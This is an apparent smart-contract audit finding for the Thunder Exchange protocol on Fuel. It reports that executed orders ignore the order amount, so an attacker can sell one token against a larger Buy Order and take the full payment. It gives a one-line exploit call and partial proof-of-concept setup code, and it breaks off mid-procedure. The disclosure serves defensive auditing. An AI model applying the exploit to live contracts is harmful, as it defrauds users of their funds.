Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Thunder Exchange
Incorrect Token Sale Amount
Description
An issue has been identified that allows a malicious actor to sell only one token, even if the Buy Order specifies a greater quantity. This vulnerability effectively bypasses the intended order amount.
Root Cause
As discussed in our Discord exchange, the Order.amount field was introduced to accommodate ERC1155-style tokens:
Hi! Yes, amount is added in case of Erc1155 style token standard
This clearly states that the Order.amount can be greater than 1. However, when executing an order, the ExecutionResult has a hardcoded amount of 1:
As a result, the specified amount in the Order is effectively ignored.
Impact
This issue has two significant impacts:
Buy Order
For a Maker Order of type Buy, an attacker can sell a single token instead of the specified quantity, receiving full payment and effectively defrauding the buyer.
Sell Order
For a Maker Order of type Sell, an innocent buyer may pay the full price but only receive a single token, with the remainder of the tokens being locked away.
Proposed fix
To resolve this issue, the maker_order.amount should be included when crafting the ExecutionResult.
Proof of concept
Proof of Concept
Due to the relatively new nature of the Sway language and the limited availability of reliable testing tools, the proof of concept (PoC) is complex.
Below is a pseudo-PoC followed by a detailed actual PoC.
Pseudo POC
An innocent user creates a Buy Order for an asset, specifying an amount greater than one.
A malicious actor executes the Buy Order but only sells one token.
// innocent user exchange.place_order(order);// attacker exchange.execute_order{ asset_id: AssetId::new(order.collection, order.token_id).bits(), coins: 1 }(order); // attackers sells only 1 token although the users asked for 100
Actual POC
There are some steps to follow:
To create an actual PoC, some modifications to the protocol are necessary.
The protocol currently only allows addresses to interact, which is generally fine. However, when transferring coins in the Fuel ecosystem, a Variable Output needs to be added to the transaction — this isn't supported by the current Sway testing tools.
Since this vulnerability is unrelated to the nature of who interacts with the protocol, adjustments will be made to allow contracts to interact, enabling the PoC. These changes are strictly for testing purposes and do not affect the core issue.
Changes to the protocol for the POC
Add the following changes to the thunder_exchange contract:
// line 141 change from:let caller =get_msg_sender_address_or_panic();// change tolet caller =Address::from(get_msg_sender_contract_or_panic().bits()); // changed for POC/* ------------------------------------------------------------------------------------------------------ */// line 162 change from:Identity::Address(unwrapped_order.maker),// change toIdentity::ContractId(ContractId::from(unwrapped_order.maker.bits())), // changed for POC/* ------------------------------------------------------------------------------------------------------ */// line 324 change from:require(input.maker ==get_msg_sender_address_or_panic(), ThunderExchangeErrors::CallerMustBeMaker);// change to require(input.maker == Address::from(get_msg_sender_contract_or_panic().bits()), ThunderExchangeErrors::CallerMustBeMaker); // changed for POC
/* ------------------------------------------------------------------------------------------------------ */// line 352 change from:require(taker_order.taker ==get_msg_sender_address_or_panic(), ThunderExchangeErrors::CallerMustBeMaker);// change to require(taker_order.taker == Address::from(get_msg_sender_contract_or_panic().bits()), ThunderExchangeErrors::CallerMustBeMaker); // changed for POC
/* ------------------------------------------------------------------------------------------------------ */// line 388 change from:Identity::Address(order.taker),// change toIdentity::ContractId(ContractId::from(order.taker.bits())), // changed for POC/* ------------------------------------------------------------------------------------------------------ */// line 408 change from:Identity::Address(order.maker),// change toIdentity::ContractId(ContractId::from(order.maker.bits())), // changed for POC/* ------------------------------------------------------------------------------------------------------ */// line 454 change from:transfer(Identity::Address(to), payment_asset, final_seller_amount);// change to transfer(Identity::ContractId(ContractId::from(to.bits())), payment_asset, final_seller_amount); // changed for POC
/* ------------------------------------------------------------------------------------------------------ */// line 474 change from:Identity::Address(from),// change toIdentity::ContractId(ContractId::from(from.bits())), // changed for POC/* ------------------------------------------------------------------------------------------------------ */// line 508 change from:transfer(Identity::Address(to), payment_asset, final_seller_amount);// change to transfer(Identity::ContractId(ContractId::from(to.bits())), payment_asset, final_seller_amount); // changed for POC
/* ------------------------------------------------------------------------------------------------------ */// line 521 change from: pool.balance_of(Identity::Address(account), asset)// change to pool.balance_of(Identity::ContractId(ContractId::from(account.bits())), asset) // changed for POC
In addition, To make an MakerOrderInput Struct, we need to make the ExtraParams Struct public, so in the order_types.sw file, lets add a pub in line 37.
The tests files.
Create forc.toml in contracts-v1 and add the below in the forc.toml:
contract;use standards::{src20::SRC20, src3::SRC3};use std::{ asset::{ burn, mint_to, }, call_frames::msg_asset_id, context::msg_amount, hash::Hash, storage::storage_string::*, string::String,};// In this example, all assets minted from this contract have the same decimals, name, and symbolconfigurable {/// The decimals of every asset minted by this contract. DECIMALS:u8=9u8,/// The name of every asset minted by this contract. NAME:str[12] =__to_str_array("ExampleAsset"),/// The symbol of every asset minted by this contract. SYMBOL:str[2] =__to_str_array("EA"),}storage {/// The total number of distinguishable assets this contract has minted. total_assets:u64=0,/// The total supply of a particular asset. total_supply:StorageMap<AssetId, u64> =StorageMap {},}impl SRC3 forContract {/// Unconditionally mints new assets using the `sub_id` sub-identifier.////// # Arguments////// * `recipient`: [Identity] - The user to which the newly minted asset is transferred to./// * `sub_id`: [SubId] - The sub-identifier of the newly minted asset./// * `amount`: [u64] - The quantity of coins to mint.////// # Number of Storage Accesses////// * Reads: `2`/// * Writes: `2`////// # Examples////// ```sway/// use src3::SRC3;/// use std::constants::DEFAULT_SUB_ID;////// fn foo(contract_id: ContractId) {/// let contract_abi = abi(SRC3, contract_id);/// contract_abi.mint(Identity::ContractId(contract_id), DEFAULT_SUB_ID, 100);/// }/// ``` #[storage(read, write)]fnmint(recipient:Identity, sub_id:SubId, amount:u64) {let asset_id =AssetId::new(ContractId::this(), sub_id);// If this SubId is new, increment the total number of distinguishable assets this contract has minted.let asset_supply = storage.total_supply.get(asset_id).try_read();match asset_supply {None=> { storage.total_assets.write(storage.total_assets.read() +1) }, _ => {}, }// Increment total supply of the asset and mint to the recipient. storage.total_supply.insert(asset_id, amount + asset_supply.unwrap_or(0));mint_to(recipient, sub_id, amount); }/// Unconditionally burns assets sent with the `sub_id` sub-identifier.////// # Arguments////// * `sub_id`: [SubId] - The sub-identifier of the asset to burn./// * `amount`: [u64] - The quantity of coins to burn.////// # Number of Storage Accesses////// * Reads: `1`/// * Writes: `1`////// # Reverts////// * When the transaction did not include at least `amount` coins./// * When the asset included in the transaction does not have the SubId `sub_id`.////// # Examples////// ```sway/// use src3::SRC3;/// use std::constants::DEFAULT_SUB_ID;////// fn foo(contract_id: ContractId, asset_id: AssetId) {/// let contract_abi = abi(SRC3, contract_id);/// contract_abi {/// gas: 10000,/// coins: 100,/// asset_id: asset_id,/// }.burn(DEFAULT_SUB_ID, 100);/// }/// ``` #[payable] #[storage(read, write)]fnburn(sub_id:SubId, amount:u64) {let asset_id =AssetId::new(ContractId::this(), sub_id);require(msg_amount() == amount, "Incorrect amount provided");require(msg_asset_id() == asset_id, "Incorrect asset provided");// Decrement total supply of the asset and burn. storage.total_supply.insert(asset_id, storage.total_supply.get(asset_id).read() - amount);burn(sub_id, amount); }}// SRC3 extends SRC20, so this must be includedimpl SRC20 forContract { #[storage(read)]fntotal_assets() ->u64 { storage.total_assets.read() } #[storage(read)]fntotal_supply(asset:AssetId) ->Option<u64> { storage.total_supply.get(asset).try_read() } #[storage(read)]fnname(asset:AssetId) ->Option<String> {match storage.total_supply.get(asset).try_read() {Some(_) =>Some(String::from_ascii_str(from_str_array(NAME))),None=>None, } } #[storage(read)]fnsymbol(asset:AssetId) ->Option<String> {match storage.total_supply.get(asset).try_read() {Some(_) =>Some(String::from_ascii_str(from_str_array(SYMBOL))),None=>None, } } #[storage(read)]fndecimals(asset:AssetId) ->Option<u8> {match storage.total_supply.get(asset).try_read() {Some(_) =>Some(DECIMALS),None=>None, } }}
Interfaces
Now we need to add the test_user and test_attacker interfaces to interact with. In the interfaces/src folder, in the lib.sw add the following lines: